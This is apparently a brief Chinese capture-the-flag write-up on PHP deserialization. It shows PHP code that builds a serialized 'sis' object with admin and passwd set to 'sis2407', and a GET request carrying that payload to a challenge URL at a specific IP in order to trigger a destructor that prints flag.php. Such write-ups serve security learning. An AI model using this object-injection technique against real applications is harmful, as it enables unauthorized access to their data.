反序列化漏洞练习2

拿到题目，发现目标是获得flag.php的内容,且sis中admin和passwd等于sis2407时会输出fag的内容

根据源码编写序列化代码

 <?php 
error_reporting(0);
class sis{public $admin;public $passwd;public function __construct(){$this->admin ="sis2407";$this->passwd = "sis2407";}public function __destruct(){if($this->admin === "sis2407" && $this->passwd === "sis2407"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}
$a=new sis;
echo serialize($a);
?>

得到序列化的sis，将序列化后的sis以get的方式为sis传参

124.221.58.83:81/s2.php?sis=O:3:"sis":2:{s:5:"admin";s:7:"sis2407";s:6:"passwd";s:7:"sis2407";}